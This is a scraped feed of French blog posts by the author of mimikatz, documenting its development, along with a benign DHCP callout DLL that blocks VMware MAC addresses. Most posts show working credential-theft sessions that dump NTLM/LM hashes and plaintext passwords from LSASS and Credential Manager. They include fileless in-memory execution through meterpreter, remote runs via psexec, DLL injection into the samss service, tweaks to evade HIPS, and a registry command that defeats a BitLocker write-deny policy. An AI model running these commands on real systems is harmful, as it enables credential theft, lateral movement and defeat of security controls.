Quantcast
Channel: Blog de Gentil Kiwi
Viewing all 56 articles
Browse latest View live

mimikatz :: sekurlsa fait son apparition

$
0
0
homer_woohoole module local sekurlsa vient d’être incorporé à mimikatz !

La première version de sekurlsa (@) fonctionne par injection de la librairie susnommée, la deuxième (::) est un module local de mimikatz fonctionnant par lecture uniquement !

Après le dernier post sur l’injection de la librairie sekurlsa, puis celui sur la lecture des clés de déchiffrement depuis LSASS, il était temps de créer un nouveau module local : mimikatz :: sekurlsa

Nouvelle version !

Le nouveau mimikatz, en RC pour l’occasion, inclus donc ce nouveau module !
La version prenant en charge ce module est disponible : http://blog.gentilkiwi.com/mimikatz

sekurlsa_local

Il nécessite tout de même, sous NT6, le privilège debug pour lire des données du processus système LSASS :

mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Aug  2 2012 01:32:28) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;234870
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w8-rp-x
        msv1_0 :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
         * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
        kerberos :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        wdigest :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        tspkg :
         * Utilisateur  : Gentil Kiwi
         * Domaine      : vm-w8-rp-x
         * Mot de passe : waza1234/
        livessp :       n.t. (LUID KO)

L’aide de ce module sera bientôt disponible : http://blog.gentilkiwi.com/mimikatz/sekurlsa.
L’aide de la librairie a été déplacée : http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa.

Ligne de commande

Au passage, mimikatz peut maintenant prendre en compte ses commandes directement depuis ses arguments.
Quelques exemples sympas :

  • mimikatz privilege::debug "sekurlsa::logonPasswords full" exit
  • psexec \\windows-c -s -c c:\security\mimikatz\Win32\mimikatz.exe "sekurlsa::logonPasswords full" exit
  • mimikatz crypto::patchcapi crypto::exportCertificates exit
  • mimikatz nogpo::regedit exit

mimikatz de l’intérieur….

mimikatz :: sekurlsa et le privilège « debug »

$
0
0

Le module sekurlsa récupère les hashes et mots de passe en clair depuis le processus système : LSASS.

Si vous n’étiez pas SYSTEM, il convenait de demander le privilège SeDebugPrivilege.
Mais pourquoi ? de quoi avons-nous besoin ?

  • lire des données dans le processus LSASS
  • la liste des modules chargés dans LSASS (nom, adresse de base et taille)

La théorie

Nos besoins nécessitent les droits suivants :

  • PROCESS_VM_READ ; pour lire des données dans le processus LSASS
  • PROCESS_QUERY_INFORMATION ; pour obtenir le PEB du processus LSASS et ainsi par PEB->PPEB_LDR_DATA->LDR_DATA_TABLE_ENTRY : la liste des modules chargés

Voici la DACL du processus LSASS sous Windows 7 pour les membres du groupe Administrateurs :

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x00121411
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544 (Alias: BUILTIN\Administrateurs)

Correspondant ainsi à :

  • READ_CONTROL
  • SYNCHRONIZE
  • PROCESS_QUERY_LIMITED_INFORMATION
  • PROCESS_QUERY_INFORMATION
  • PROCESS_VM_READ
  • PROCESS_TERMINATE

Nous y retrouvons PROCESS_VM_READ et PROCESS_QUERY_INFORMATION, donc a priori pas de problème ?

La pratique

Hormis pour certaines personnes maitrisant les structures de type PEB, la fonction utilisée pour obtenir les modules d’un processus est : CreateToolhelp32Snapshot.

Cette fonction permet d’énumérer, via la structure…

typedef struct tagMODULEENTRY32 {
  DWORD   dwSize;
  DWORD   th32ModuleID;
  DWORD   th32ProcessID;
  DWORD   GlblcntUsage;
  DWORD   ProccntUsage;
  BYTE    *modBaseAddr;
  DWORD   modBaseSize;
  HMODULE hModule;
  TCHAR   szModule[MAX_MODULE_NAME32 + 1];
  TCHAR   szExePath[MAX_PATH];
} MODULEENTRY32, *PMODULEENTRY32;

…, l’ensemble des modules associés à un processus (via son PID)

Chouette, une fonction qui va simplifier les opérations d’ouverture et de lecture à travers le processus LSASS !

mimikatz # process::list
PID     PPID    #Ths    pri     image
    0       0       2       0   [System Process]
    4       0     100       8   System
...
  592     460       7       9   lsass.exe
...

mimikatz # process::modules 592
mod_process::getModulesListForProcessId ; (0x00000005) Accès refusé.

Résultat : Accès refusé ! Nous savons obtenir les droits nécessaires, alors pourquoi ?

CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, ...) #fail

Allons voir de plus près les appels effectués par cette fonction…

  • kernel32!CreateToolhelp32Snapshot
  • kernel32!_ThpCreateRawSnap
  • ntdll!RtlQueryProcessDebugInformation (#wtf?)
  • ntdll!ZwOpenProcess … avec PROCESS_ALL_ACCESS !

Pas étonnant que l’accès nous soit refusé !
Malgré des droits restreints clairement identifiés pour énumérer les modules, la fonction CreateToolhelp32Snapshot nécessitera un accès complet au processus cible LSASS.
Quel bel exemple de demande des droits minimums nécessaires !

Précédemment, mimikatz demandait systématiquement le privilège debug afin de passer cette étape… quel gâchis !

Finalement, mod_process::getVeryBasicModulesListForProcess a été écrite, énumérant les modules via le PEB du processus.

Résultat

Cette nouvelle fonction est maintenant utilisée dans sekurlsa.

Windows NT 5

mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Aug  4 2012 03:10:51) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;73296818
Package d'authentification  : Kerberos
Utilisateur principal       : gentilkiwi
Domaine d'authentification  : NIRVANA
       ...

Une réussite !

Windows NT 6

mimikatz 1.0 x64 (RC)   /* Traitement du Kiwi (Aug  4 2012 03:12:34) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # sekurlsa::logonPasswords full
OpenProcess : (0x00000005) Accès refusé.

#fail, mais pourquoi ? cela fonctionne sous NT 5 et nous nous limitons ici à un accès réduit sur un processus sur lequel nos deux droits sont normalement autorisés ?

Réponse : Mandatory Integrity Control (http://msdn.microsoft.com/library/windows/desktop/bb648648.aspx
Cette fonctionnalité, disponible à partir de NT 6, rajoute des informations dans la SACL des objets.

Regardons la SACL du processus LSASS sous Windows 7 :

->Sacl    : ->Ace[0]: ->AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
->Sacl    : ->Ace[0]: ->AceFlags: 0x0
->Sacl    : ->Ace[0]: ->AceSize: 0x14
->Sacl    : ->Ace[0]: ->Mask : 0x00000003
->Sacl    : ->Ace[0]: ->SID: S-1-16-16384 (Label: Étiquette obligatoire\Niveau obligatoire système)

Ouch, à moins de provenir d’un autre processus de niveau minimum ML_SYSTEM, le flag 0x00000003 nous interdira lecture et écriture, quoi qu’en dise la DACL
En effet, ce 0x00000003 signifie :

  • SYSTEM_MANDATORY_LABEL_NO_WRITE_UP
  • SYSTEM_MANDATORY_LABEL_NO_READ_UP

Les noms sont équivoques…

Conclusion

  • Nous pouvons nous en sortir sous NT 5 sans utilisation de privilège !
  • Sous NT 6 point de salut sans privilège(s), que ce soit debug ou même security pour modifier les ACL

Quoi qu’il en soit, sekurlsa fonctionne maintenant avec des droits réduits sur LSASS, cela évitera sans doute de déclencher quelques HIPS ;)
La version prenant en charge cette nouvelle fonction est disponible : http://blog.gentilkiwi.com/mimikatz

DHCP sous Windows – Callout

$
0
0

Les serveurs DHCP Microsoft, à partir de Windows 2003 Server, disposent d’une fonctionnalité très intéressante et rarement utilisée : le callout

Cette fonctionnalité, très bien documentée (http://msdn.microsoft.com/library/windows/desktop/aa363372.aspx), permet de notifier des librairies externes du traitement de requêtes DHCP.
Une fois n’est pas coutume, Microsoft laisse l’opportunité à ces librairies d’altérer les paquets, requêtes, et même de stopper le traitement d’une requête !

Le besoin

Pour une raison quelconque, j’ai du réfléchir à une problématique : comment ne pas distribuer d’adresses IP à une certaine catégorie de machines pouvant se brancher sur le même réseau physique/logique que des machines légitimes.

Des solutions existent déjà :

  • IpSec
  • NAC

et même d’autres moins efficaces (*) :

  • IP fixe pour tout le réseau
  • Blacklistage des adresses MAC sur les équipements frontaux
  • Réservations DHCP pour tous les postes

…Inapplicables pour diverses raisons sur l’environnement ciblé.
(*) L’on part ici du principe qu’une personne prenant volontairement une IP du réseau d’entreprise ou changeant son adresse MAC, commet une action malveillante. Cela arrive rarement par hasard.

Un début de solution

Quelques recherches Google mènent obligatoirement vers cette entrée Technet : http://blogs.technet.com/b/teamdhcp/archive/2007/10/03/dhcp-server-callout-dll-for-mac-address-based-filtering.aspx

L’on y apprend que le blacklistage d’adresses MAC au niveau DHCP n’est pas un besoin loufoque et que Microsoft a « développé » une librairie pouvant prendre en charge une liste noire ou blanche d’adresses.
A priori celle-ci est maintenant devenue une fonctionnalité native du service DHCP de Windows Server 2008 r2.

Vu le nombre de commentaires exprimant des problématiques de mise en service, et ce genre d’avertissements Microsoft :

The current callout DLL shall no longer be available after December 15, 2010.
[...]
Known Issue:

  1. This callout dll may not work on localized builds (non english builds).

… cela n’encourage guère à son utilisation !

Un peu de code

Grâce au MSDN : http://msdn.microsoft.com/library/windows/desktop/aa363373.aspx, l’on peut rapidement coder sa propre librairie (ici sans fichier de log ou de paramétrages … (pas envie, pas besoin…)

/*	Benjamin DELPY `gentilkiwi`
	http://blog.gentilkiwi.com
	benjamin@gentilkiwi.com
	Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include <windows.h>
#include <dhcpssdk.h>

#define MAC_ADDRESS_SIZE			6
#define MAC_SOURCE_ADDRESS_OFFSET	28

const BYTE macToBlack[][MAC_ADDRESS_SIZE] = {
	{0x00, 0x0c, 0x29, 0x00, 0x00, 0x00},
	{0x00, 0x50, 0x56, 0x00, 0x00, 0x00}
};

HMODULE nextLibrary = NULL;
LPDHCP_NEWPKT nextLibraryCalloutNewPkt = NULL;

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
	if(ul_reason_for_call == DLL_PROCESS_DETACH && nextLibrary)
		FreeLibrary(nextLibrary);

	return TRUE;
}

DWORD CALLBACK DhcpNewPktHook(IN OUT LPBYTE *Packet, IN OUT DWORD *PacketSize, IN DWORD IpAddress, IN LPVOID Reserved, IN OUT LPVOID *PktContext, OUT LPBOOL ProcessIt)
{
	DWORD retour = ERROR_SUCCESS, m;
	*ProcessIt = TRUE;

	for(m = 0; m < sizeof(macToBlack) / MAC_ADDRESS_SIZE; m++)
	{
		if(RtlEqualMemory(*Packet + MAC_SOURCE_ADDRESS_OFFSET, macToBlack[m], MAC_ADDRESS_SIZE / 2))
		{
			*ProcessIt = FALSE;
			retour = DHCP_DROP_INVALID;
			break;
		}
	}

	if(*ProcessIt && nextLibraryCalloutNewPkt)
		retour = nextLibraryCalloutNewPkt(Packet, PacketSize, IpAddress, Reserved, PktContext, ProcessIt);
	
	return retour;
}

DWORD CALLBACK DhcpServerCalloutEntry(IN LPWSTR ChainDlls, IN DWORD CalloutVersion, IN OUT LPDHCP_CALLOUT_TABLE CalloutTbl)
{
	LPDHCP_ENTRY_POINT_FUNC nextEntry;

	RtlZeroMemory(CalloutTbl, sizeof(DHCP_CALLOUT_TABLE));

	if(nextLibrary = LoadLibrary(ChainDlls))
		if(nextEntry = (LPDHCP_ENTRY_POINT_FUNC) GetProcAddress(nextLibrary, DHCP_CALLOUT_ENTRY_POINT))
			nextEntry(ChainDlls + wcslen(ChainDlls) + 1, CalloutVersion, CalloutTbl);

	if(CalloutTbl->DhcpNewPktHook)
		nextLibraryCalloutNewPkt = CalloutTbl->DhcpNewPktHook;
	CalloutTbl->DhcpNewPktHook = DhcpNewPktHook;

	return ERROR_SUCCESS;
}

Sans oublier notre export C d’un __stdcall

LIBRARY
EXPORTS
	DhcpServerCalloutEntry = DhcpServerCalloutEntry

Cette librairie rejette ainsi les demandes émanant d’adresse MAC commençant par 00:0c:29 ou 00:50:56, soit provenant de machines virtuelles VMware.

Installation

Sous HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\DHCPServer\Parameters

  • CalloutEnabled de type DWORD, à 1 pour activer les Callouts, 0 pour les désactiver
  • CalloutDlls de type REG_MULTI_SZ, contenant la liste des librairies de Callouts (séparées par un saut de ligne)

dhcp_callout

Le service DHCP (DHCPServer) doit être redémarré pour prendre en charge ces modifications.

Test

C:\Documents and Settings\Administrateur>ipconfig /renew

Configuration IP de Windows

Une erreur s'est produite lors du renouvellement de l'interface Connexion au réseau local : impossible de contacter votre serveur DHC. Le délai d'attente de la demande est dépassé.

Diaboliquement efficace pour quelques lignes :)

mimikatz @ meterpreter

$
0
0

Grâce à la patience de @mubix (http://www.room362.com/), j’ai pu passer quelques commandes à Metasploit, puis meterpreter… Ce n’était pas gagné pour ce shell mystérieux meterpreter >… je m’étais habitué à mimikatz #.

Cela m’a permis de constater que le dump des mots de passe, via l’exécution en mémoire, et par lecture, ne fonctionnait pas sous NT6 (une sombre histoire d’objet mal initialisé dans bcrypt).
J’ai donc recodé une partie de mes routines afin de ne plus faire d’appels à la fonction incriminée.

Cette nouvelle version s’exécute donc très bien en mémoire, via Meterpreter, sans laisser de traces sur le disque : execute -H -c -i -m -f /pentest/passwords/mimikatz/mimikatz_x86.exe

meterpreter > execute -H -c -i -m -f /pentest/passwords/mimikatz/mimikatz_x86.exe
Process 4020 created.
Channel 1 created.
mimikatz 1.0 x86 (RC)	/* Traitement du Kiwi (Sep  6 2012 04:02:46) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;473059
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w7-ult
	msv1_0 : 	
	 * Utilisateur  : Gentil Kiwi
	 * Domaine      : vm-w7-ult
	 * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
	 * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
	kerberos : 	
	 * Utilisateur  : Gentil Kiwi
	 * Domaine      : vm-w7-ult
	 * Mot de passe : waza1234/
	wdigest : 	
	 * Utilisateur  : Gentil Kiwi
	 * Domaine      : vm-w7-ult
	 * Mot de passe : waza1234/
	tspkg : 	
	 * Utilisateur  : Gentil Kiwi
	 * Domaine      : vm-w7-ult
	 * Mot de passe : waza1234/

J’utilise ici mimikatz en mode interactif, mais il est tout à fait possible d’utiliser la ligne de commande pour passer la liste de fonctions à appeler : execute -H -c -i -m -f /pentest/passwords/mimikatz/mimikatz_x86.exe -a '"sekurlsa::logonPasswords full" exit'

C’est d’ailleurs ce que fait @mubix : http://www.room362.com/blog/2012/9/6/completely-in-memory-mimikatz-with-metasploit.html

La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz

gentilkiwi @ Application Security Forum 2012

$
0
0

asfws
Je me suis laissé pousser à proposer une présentation à l’Application Security Forum – Western Switzerland 2012.
J’ai la chance d’avoir été invité à présenter mes travaux sur mimikatz !

J’y exposerai bien sûr mimikatz mais plus particulièrement les modules sekurlsa et crypto
slide
Les participants comprendront rapidement comment récupérer des mots de passe Windows et des certificats/clés privées !

Attention : les participants du premier rang pourraient apercevoir des mots de passe et des clés…

En dehors de ma présentation (le 07 Novembre à 11h40), j’assisterai à un maximum de conférences d’experts : http://2012.appsec-forum.ch/programme/.
N’hésitez pas à faire de même et à venir me faire un petit coucou :)

Chiffrement de lecteur Bitlocker – limitation des périphériques externes

$
0
0

Avec l’arrivée de Windows 7, certains administrateurs seront tentés d’utiliser de nouvelles GPO Bitlocker afin de limiter la sortie d’informations sur des périphériques externes…
Une des GPO intéressantes permet de « Refuser l’accès en écriture aux lecteurs amovibles non protégés par BitLocker »

Cette GPO est décrite par:

[...] les lecteurs de données amovibles non protégés par BitLocker seront montés en lecture seule. En revanche, les lecteurs protégés par BitLocker sont accessibles en lecture et en écriture [...]

Résultat

A l’insertion d’un périphérique externe (une clé USB par exemple), Windows nous propose de chiffrer celui ci, sous peine de s’y voir condamner l’accès
bitlocker_removable_drive

Fonctionnement

A chaque volume monté, la stratégie est vérifiée par un passage dans fvevol!FveGroupPolicyIsBDEForcedOn, qui renverra la possibilité d’écrire ou non sur le volume.
C’est là que se situe le point névralgique du contournement… la GPO n’est pas appliquée une fois pour toute dès l’ordinateur démarré…, une valeur du registre est lue à chaque volume monté.

Contournement

Très simplement, en tant qu’administrateur : reg add HKLM\SYSTEM\CurrentControlSet\Policies\Microsoft\FVE /v RDVDenyWriteAccess /t REG_DWORD /d 0 /f

Ou via un fichier .reg

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Policies\Microsoft\FVE]
"RDVDenyWriteAccess"=dword:00000000

Remarques

  • Le contournement ne s’applique pas sur les périphérique déjà montés, il faudra les éjecter puis les réinsérer
  • Il faut réécrire la valeur dans le registre après que la GPO soit repassée
  • Pour les périphériques fixes, utiliser FDVDenyWriteAccess
  • Ce n’est pas le contournement du siècle, mais il est bien pratique ;)

Joyeux Nowel 2012


mimikatz @ sekurlsa : Credman et le planificateur de tâches

$
0
0

Vendredi soir, mgrzeg (http://zine.net.pl/blogs/mgrzeg/) m’a posé une petite colle sur les mots de passe associés à des tâches planifiées :

22:27 – Michal: Have you ever tried to recover passwords for scheduler tasks?

Et bien non ! Je pensais naïvement que beaucoup d’outils permettaient déjà de récupérer les mots de passe de tâches planifiées… mais, à part une version historique pour NT5 d’Ivan (http://www.ivanlef0u.tuxfamily.org/?p=173), rien de bien précis dans le paysage des outils pour les versions actuelles de Windows…

penguins_ho

Recherches

Créons une petite « Tâche de test » associée au compte de « Gentille Tâche »
gentilletache

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Tâche de test"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Tâche de test
    Id    REG_SZ    {B0261D58-1302-40C8-A547-3AFD8F76BB4C}
    Index    REG_DWORD    0x3

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0261D58-1302-40C8-A547-3AFD8F76BB4C}"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{B0261D58-1302-40C8-A547-3AFD8F76BB4C}
    Path    REG_SZ    \Tâche de test
    Hash    REG_BINARY    913E7022936A887F6CA5DD1C5BCAF21BCB7B8A120FA1551CCB19DBC7EC10D93D
    Triggers    REG_BINARY    150000000000000000F3A401A4F76772FFFFFFFFFFFFFFFF00F3A401A4F7677200000000000000002821440048484848EA0DE31E484848480048484848484848004848484848484801000000484848481C000000484848480105000000000005150000003C07DD79702A63251C051BB6E903000048484848360000004848484876006D002D00770037002D0075006C0074005C00470065006E00740069006C006C00650020005400E2006300680065000000000000004848380000004848484800000000FFFFFFFF80F40300FFFFFFFF0700000000000000000000000000000000000000000000000000000018A20F010000000000000000

Vous l’aurez sans aucun doute reconnue :

vm-w7-ult      | 76 00 6D 00 2D 00 77 00 37 00 2D 00 75 00 6C 00 74 00
\              | 5C 00
Gentille Tâche | 47 00 65 00 6E 00 74 00 69 00 6C 00 6C 00 65 00 20 00 54 00 E2 00 63 00 68 00 65 00
<NULL>         | 00 00 
<NULL><NULL>   | 00 00 00 00

Cela tombe bien, il y a une référence à son SID (S-1-5-21-2044528444-627255920-3055224092-1001) pas très loin :

> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CredWom\S-1-5-21-2044528444-627255920-3055224092-1001"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\CredWom\S-1-5-21-2044528444-627255920-3055224092-1001
    Count    REG_DWORD    0x1
    Index    REG_SZ    {55DEDD5A-70DE-49AC-98C2-9D86B9A437FA}

Point de mot de passe… mais un GUID très utile…, le planificateur de tâche va appeler :
CredMarshalCredential avec :

  • CredType : UsernameTargetCredential
  • Credential : TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA}

… et se servir du résultat pour appeler LogonUser puis CreateProcessAsUser.

Explications

UsernameTargetCredential

Specifies that the credential is a reference to a CRED_FLAGS_USERNAME_TARGET credential described by a USERNAME_TARGET_CREDENTIAL_INFO structure.

Il s’avère donc que les comptes associés aux tâches planifiées sont enregistrés dans le « Gestionnaire d’identification » de SYSTEM.
Cohérent, puisque le planificateur de tâches fonctionne en tant que service local, même si la session de l’utilisateur ayant créé la tâche, ou ciblée par la tâche, est fermée.

Test

Qu’à cela ne tienne, mimikatz permet de dumper les différents éléments du gestionnaire d’identification de NT6 via : divers::secrets full

En ayant obtenu un mimikatz « SYSTEM » :

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : vm-w7-ult\Gentille Tâche
Credential         : <NULL>

Damn, pas de mot de passe ici :(

mario_princess-in-another-castle

If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.

La solution sera donc plus générale que pour les mots de passe de tâches planifiées…, en effet la catégorie CRED_TYPE_DOMAIN_PASSWORD englobe aussi les credentials pré-enregistrés de lecteurs , de partages ou RDP…

A voir dans un prochain post ;)

Bonus

Dans le contexte de l’utilisateur ayant créé la tâche planifiée (et donc inacessible à SYSTEM si session fermée…) :

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : LegacyGeneric:target=VM-W7-ULT\Gentille Tâche / <NULL>
Type               : GENERIC (1)
Comment            : <NULL>
UserName           : VM-W7-ULT\Gentille Tâche
Credential         : wazawaza12341234//

Mais là, je ne vois pas la raison de sa présence… c’est le moteur du planificateur de tâche qui a besoin des credentials, pas l’utilisateur d’origine… (?)

mimikatz @ sekurlsa : Credman

$
0
0

Comme vu lors de l’essai de récupération des mots de passe des tâches planifiées, le gestionnaire d’identification ne retourne pas très facilement de credentials en clair pour un type CRED_TYPE_DOMAIN_PASSWORD

Tests

Stockons quelques credentials de type CRED_TYPE_DOMAIN_PASSWORD :

Via une tâche planifiée

gentilletache
Résultat :

mimikatz # system::user
Utilisateur : WORKGROUP\VM-W7-ULT$

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : vm-w7-ult\Gentille Tâche
Credential         : <NULL>

Via un utilisateur et un partage réseau

vault_user_share
Résultat :

mimikatz # system::user
Utilisateur : vm-w7-ult\Gentil Utilisateur

mimikatz # divers::secrets full
Nombre de secrets : 1
TargetName         : Domain:target=serveur / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : utilisateur
Credential         : <NULL>

Via un utilisateur, un terminal server et un partage réseau

vault_user_rdp_share
Résultat :

mimikatz # system::user
Utilisateur : vm-w7-ult\Gentil Kiwi

mimikatz # divers::secrets
Nombre de secrets : 2
TargetName         : TERMSRV/windows-f.vm.nirvana.local / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : test@nirvana.local
Credential         : <NULL>

TargetName         : windows-b.vm.nirvana.local / <NULL>
Type               : DOMAIN_PASSWORD (2)
Comment            : <NULL>
UserName           : testshare@nirvana.local
Credential         : <NULL>

penguins_triste

Explications

Les credentials exposés ici n’ont pas à être manipulés dans les applications utilisateurs, mais par le gestionnaire d’authentification de Windows (LSASS), il n’y a donc pas de raison qu’ils soient accessibles dans l’espace utilisateurs.

Pour rappel :

If the Type member is CRED_TYPE_DOMAIN_PASSWORD, this member contains the plaintext Unicode password for UserName. The CredentialBlob and CredentialBlobSize members do not include a trailing zero character. Also, for CRED_TYPE_DOMAIN_PASSWORD, this member can only be read by the authentication packages.

Plus clairement : fini de jouer avec CredEnumerate en mode utilisateur, il faut passer via un contexte SYSTEM dans LSASS

Implémentation

Exit CredEnumerate qui se limite à l’utilisateur courant, pour gagner du temps utilisons CredIEnumerate (non exportée, non documentée) qui permet de lister les secrets d’une session particulière :)

typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE)	(IN PLUID pLUID, IN DWORD unk0,	IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);
typedef NTSTATUS (WINAPI * PCRED_I_ENUMERATE62) (IN PLUID pLUID,				IN LPCTSTR Filter, IN DWORD Flags, OUT DWORD *Count, OUT PCREDENTIAL **Credentials);

Une fois les secrets identifiés, ne retenons que ceux concernés par le déchiffrement dans LSASS (CRED_TYPE_DOMAIN_PASSWORD dans notre cas), et demandons poliment à LSA_SECPKG_FUNCTION_TABLE->CrediReadDomainCredentials depuis le processus LSASS les credentials désirés…

Puisque l’on est dans LSASS, et que Microsoft annonce que les données ne sont lisibles que par les packages d’authentification, pourquoi ne pas rajouter un petit coup de LSA_SECPKG_FUNCTION_TABLE->LsaUnprotectMemory ?

Resultat

Bien sûr, en tant qu’Administrateur, ou SYSTEM (dans ce cas, pas besoin du privilège debug)…

mimikatz 1.0 x86 (RC)   /* Traitement du Kiwi (Jan  6 2013 17:43:18) */
// http://blog.gentilkiwi.com/mimikatz

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::service samss sekurlsa.dll
SERVICE(samss).serviceDisplayName = Gestionnaire de comptes de sécurité
SERVICE(samss).ServiceStatusProcess.dwProcessId = 512
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
                        Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurité dans LSASS

mimikatz # @getCredman full

Authentification Id         : 0;999
Package d'authentification  : NTLM
Utilisateur principal       : VM-W7-ULT$
Domaine d'authentification  : WORKGROUP
        credman :
         * [0] Target   : Domain:batch=TaskScheduler:Task:{55DEDD5A-70DE-49AC-98C2-9D86B9A437FA} / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : vm-w7-ult\Gentille Tâche
               [0] User : vm-w7-ult\Gentille Tâche
               [0] Cred : wazawaza12341234//

Authentification Id         : 0;6420317
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Utilisateur
Domaine d'authentification  : vm-w7-ult
        credman :
         * [0] Target   : Domain:target=serveur / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : utilisateur
               [0] User : utilisateur
               [0] Cred : mdpuser

Authentification Id         : 0;447522
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : vm-w7-ult
        credman :
         * [0] Target   : Domain:target=TERMSRV/windows-f.vm.nirvana.local / <NULL>
         * [0] Comment  : <NULL>
         * [0] User     : test@nirvana.local
               [0] User : test@nirvana.local
               [0] Cred : mdptest

         * [1] Target   : Domain:target=windows-b.vm.nirvana.local / <NULL>
         * [1] Comment  : <NULL>
         * [1] User     : testshare@nirvana.local
               [0] User : testshare@nirvana.local
               [0] Cred : mdpshare

mimikatz # exit

rico_happy

La version prenant en charge cette amélioration est disponible : http://blog.gentilkiwi.com/mimikatz

Visual Studio 2012 (Express)

$
0
0

Juste quelques petits liens pratiques :

Les versions Express des outils Microsoft sont des versions allégées, sans limite d’utilisation dans le temps : http://www.microsoft.com/express

vs2012

Certaines fonctionnalités ne sont pas disponibles : http://msdn.microsoft.com/library/hs24szh9.aspx (comme la compilation x64 ou les MFC pour Visual C++)

En bonus pratique :

En ce qui concerne l’Update 1, le SDK et le WDK, il n’existe pas de version autonomes de ces programmes, mais elles peuvent être construites via le commuatateur /layout

mimikatz :: sekurlsa et SSP NTLM

$
0
0

Après un petit passage dans le monde des mots de passe enregistrés, retournons voir une catégorie sous estimées : les mots de passes réseau

Ces mots de passes sont souvent conseillés, car il n’y a pas d’ouverture de session interactive sur le serveur cible lors d’une connexion à un partage réseau, un canal nommé, ou une autre ressource « simple » à distance.
L’authentification est la plupart du temps transparente, et basée sur la session courante de l’utilisateur, via SSO.

Toutefois, lors d’accès à des ressources de plus haut niveau, ou nécessitant l’utilisation d’un compte tiers, le SSO ne peut plus rien pour nous : il faut s’authentifier avec de nouvelles données d’identification.

netshare
Exemple d’accès à un partage avec des données d’identification explicites

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # sekurlsa::logonPasswords full

Authentification Id         : 0;2586685
Package d'authentification  : NTLM
Utilisateur principal       : Gentil Kiwi
Domaine d'authentification  : windows-08
        msv1_0
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Hash LM      : d0e9aee149655a6075e4540af1f22d3b
         * Hash NTLM    : cc36cf7a8514893efccd332446158b1a
        kerberos
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
        ssp
         * [0] Utilisateur  : gentiltest
               Domaine      : WINDOWS-08
               Mot de passe : wazatest1234/
         * [1] Utilisateur  : test
               Domaine      : WINDOWS-08
               Mot de passe : test1234
        wdigest
         * Utilisateur  : Gentil Kiwi
         * Domaine      : windows-08
         * Mot de passe : waza1234/
